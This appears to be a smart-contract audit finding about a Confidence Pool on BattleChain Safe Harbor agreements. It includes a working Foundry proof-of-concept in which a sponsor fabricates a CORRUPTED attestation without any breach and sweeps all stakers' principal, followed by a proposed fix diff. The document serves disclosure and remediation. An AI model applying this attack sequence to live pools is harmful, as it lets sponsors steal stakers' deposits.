Normal behavior: A Confidence Pool insures the outcome of a Safe Harbor agreement, and stakers are meant to lose principal only when the in-scope contracts were genuinely breached. (DESIGN.md #1). states the premise the mechanism rests on: "Only the terminal CORRUPTED state is evidence of an actual breach."
Why this is not already covered by DESIGN.md. The design accepts the outcome but justifies it on reasoning that is wrong for a fabricated attestation:
#1 — asserts CORRUPTED is "evidence of an actual breach." It is a sponsor-settable attestation with no on-chain proof. This is the foundational over-trust; it is true unconditionally, independent of any later precondition.
#6 — accepts the auto-CORRUPTED loss "if the moderator is absent AND the breach was out-of-scope." Its reasoning assumes a real breach that is merely mis-scoped, which the sponsor cannot cause. Here the CORRUPTED trigger is manufactured on demand, so the loss is deliberately armable on every pool rather than a passive coincidence.
#11 — treats a registry "reporting false state" as "the trusted [DAO] entity attacking its own infrastructure — out of the adversarial model," and reasons only about the false-PRODUCTION direction ("worst case is principal returned to stakers"). This path needs no DAO misbehavior — it is an untrusted sponsor writing to an honest registry via a legitimately held role — and it is the false-CORRUPTED → sweep direction #11 never considers.
The sponsor drives the agreement to UNDER_ATTACK (which the pool observes, sealing riskWindowStart and locking stakers out of withdraw), then calls markCorrupted with no breach. During the expiry + MODERATOR_CORRUPTED_GRACE window the pool is frozen for stakers (no withdraw, no claimSurvived, and claimExpired reverts). Once the grace elapses without the pool's DAO moderator flagging SURVIVED, anyone permissionlessly finalizes the pool as bad-faith CORRUPTED and sweeps it to the sponsor.
Two verified, passing tests. The first isolates the pool-side sweep; the second is a full end-to-end against the real BattleChain registry stack, proving the sponsor legitimately holds the attack-moderator role and fabricates CORRUPTED with no breach.
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {AttackRegistry} from "@battlechain/AttackRegistry.sol";
import {AgreementFactory} from "@battlechain/AgreementFactory.sol";
import {Agreement} from "@battlechain/Agreement.sol";
import {BattleChainSafeHarborRegistry} from "@battlechain/BattleChainSafeHarborRegistry.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
interface IPool {
function initialize(
address agreement,
address stakeToken,
address safeHarborRegistry,
address moderator,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address owner,
address[] calldata accounts
) external;
function stake(uint256 amount) external;
function contributeBonus(uint256 amount) external;
function pokeRiskWindow() external;
function withdraw() external;
function claimExpired() external;
function claimCorrupted() external;
function outcome() external view returns (uint8);
function expiry() external view returns (uint32);
function riskWindowStart() external view returns (uint32);
function MODERATOR_CORRUPTED_GRACE() external view returns (uint256);
}
interface IToken {
function mint(address to, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address who) external view returns (uint256);
}
contract PoC_FabricatedCorrupted_E2E is Test {
uint256 constant ONE = 1e18;
string constant CAIP2 = "eip155:9999";
uint8 constant OUTCOME_CORRUPTED = 2;
address registryOwner = makeAddr("registryOwner");
address daoRegistryMod = makeAddr("daoRegistryMod");
address poolOutcomeMod = makeAddr("poolOutcomeMod");
address treasury = makeAddr("treasury");
address deployerEOA = makeAddr("battleChainDeployer");
address sponsor = makeAddr("sponsor");
address sponsorRecovery = makeAddr("sponsorRecovery");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address inScopeContract = address(0xBEEF);
BattleChainSafeHarborRegistry shr;
AgreementFactory factory;
AttackRegistry attackReg;
IToken token;
IPool pool;
address agreement;
function setUp() public {
vm.warp(1_750_000_000);
token = IToken(deployCode("MockERC20.sol:MockERC20"));
string[] memory chains = new string[](1);
chains[0] = CAIP2;
shr = BattleChainSafeHarborRegistry(
address(
new ERC1967Proxy(
address(new BattleChainSafeHarborRegistry()),
abi.encodeWithSelector(
BattleChainSafeHarborRegistry.initialize.selector,
registryOwner, chains, address(0xdead), address(0xbeef)
)
)
)
);
factory = AgreementFactory(
address(
new ERC1967Proxy(
address(new AgreementFactory()),
abi.encodeWithSelector(
AgreementFactory.initialize.selector, registryOwner, address(shr), CAIP2
)
)
)
);
attackReg = AttackRegistry(
address(
new ERC1967Proxy(
address(new AttackRegistry()),
abi.encodeWithSelector(
AttackRegistry.initialize.selector,
registryOwner, daoRegistryMod, address(shr), address(factory), deployerEOA, treasury
)
)
)
);
vm.startPrank(registryOwner);
shr.setAgreementFactory(address(factory));
shr.setAttackRegistry(address(attackReg));
vm.stopPrank();
}
function test_E2E_sponsorFabricatesCorruptedOnRealRegistry_thenSweeps() public {
vm.prank(deployerEOA);
attackReg.registerDeployment(inScopeContract, sponsor);
agreement = _createAgreement(sponsor, inScopeContract);
assertEq(Agreement(agreement).owner(), sponsor, "sponsor owns agreement");
assertTrue(Agreement(agreement).isContractInScope(inScopeContract), "contract in scope");
vm.prank(sponsor);
attackReg.requestUnderAttack(agreement);
vm.prank(daoRegistryMod);
attackReg.approveAttack(agreement);
assertEq(
uint256(attackReg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
pool = _deployPool(agreement);
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 40 * ONE);
assertEq(token.balanceOf(address(pool)), 240 * ONE);
pool.pokeRiskWindow();
assertTrue(pool.riskWindowStart() != 0, "risk window sealed");
vm.prank(alice);
vm.expectRevert();
pool.withdraw();
vm.prank(sponsor);
attackReg.markCorrupted(agreement);
assertEq(
uint256(attackReg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"sponsor fabricated CORRUPTED on the real registry, no breach"
);
pool.pokeRiskWindow();
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertEq(pool.outcome(), OUTCOME_CORRUPTED, "pool forced to CORRUPTED");
uint256 before = token.balanceOf(sponsorRecovery);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorRecovery) - before, 240 * ONE, "sponsor swept the whole pool");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
assertEq(token.balanceOf(alice), 0, "alice lost principal");
assertEq(token.balanceOf(bob), 0, "bob lost principal");
}
function _createAgreement(address _owner, address c) internal returns (address a) {
BCAccount[] memory accounts = new BCAccount[](1);
accounts[0] =
BCAccount({accountAddress: _addrToStr(c), childContractScope: ChildContractScope.None});
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain({
assetRecoveryAddress: _addrToStr(address(0x22)),
accounts: accounts,
caip2ChainId: CAIP2
});
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact({name: "Test", contact: "test@test.com"});
BountyTerms memory bt = BountyTerms({
bountyPercentage: 10,
bountyCapUsd: 5_000_000,
retainable: false,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "none",
aggregateBountyCapUsd: 10_000_000
});
AgreementDetails memory d = AgreementDetails({
protocolName: "Test Protocol",
contactDetails: contacts,
chains: chains,
bountyTerms: bt,
agreementURI: "ipfs://test"
});
vm.prank(_owner);
a = factory.create(d, _owner, keccak256(abi.encodePacked(_owner, c)));
vm.prank(_owner);
Agreement(a).extendCommitmentWindow(block.timestamp + 30 days);
}
function _deployPool(address a) internal returns (IPool p) {
address impl = deployCode("ConfidencePool.sol:ConfidencePool");
p = IPool(Clones.clone(impl));
address[] memory scope = new address[](1);
scope[0] = inScopeContract;
p.initialize(
a, address(token), address(shr), poolOutcomeMod,
block.timestamp + 31 days, ONE, sponsorRecovery, sponsor, scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _addrToStr(address addr) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i)) >> 4) & 0xf];
str[3 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i))) & 0xf];
}
return string(str);
}
}
The pool cannot verify a breach, so the permissionless, scope-blind backstop must not move principal to a sponsor-controlled address based on an attestation the sponsor can forge. The staker-protective default for the unverifiable path is to return principal (EXPIRED), leaving the punitive CORRUPTED sweep to a live moderator only. This reassigns the "real breach escapes if the moderator is absent" cost onto the sponsor/protocol (who is responsible for moderator liveness) instead of onto stakers (who otherwise lose principal to a fabrication).
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
- // Permissionless, scope-blind auto-CORRUPTED sweep after the grace window.
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
- if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
- revert AgreementCorruptedAwaitingModerator();
- }
- outcome = PoolStates.Outcome.CORRUPTED;
- outcomeFlaggedAt = riskWindowEnd;
- corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
- claimsStarted = true;
- emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
- return;
- }
+ // A CORRUPTED registry state is an attack-moderator ATTESTATION (sponsor-settable via
+ // markCorrupted, no breach proof), not verifiable breach evidence. The permissionless backstop
+ // therefore must NOT move principal to recoveryAddress on it. Only a live moderator can resolve
+ // CORRUPTED (flagOutcome); the permissionless path defaults to the staker-protective EXPIRED so a
+ // fabricated attestation cannot destroy principal. During the grace window we still defer to the
+ // moderator; after it, principal is returned rather than swept.
+ if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0
+ && block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
Complementary hardening (defense-in-depth):
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ // Lock the sweep destination once stakers are relying on it, mirroring `expiryLocked`, so a
+ // sponsor cannot retarget the CORRUPTED sweep after deposits.
+ if (expiryLocked) revert RecoveryAddressLocked();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}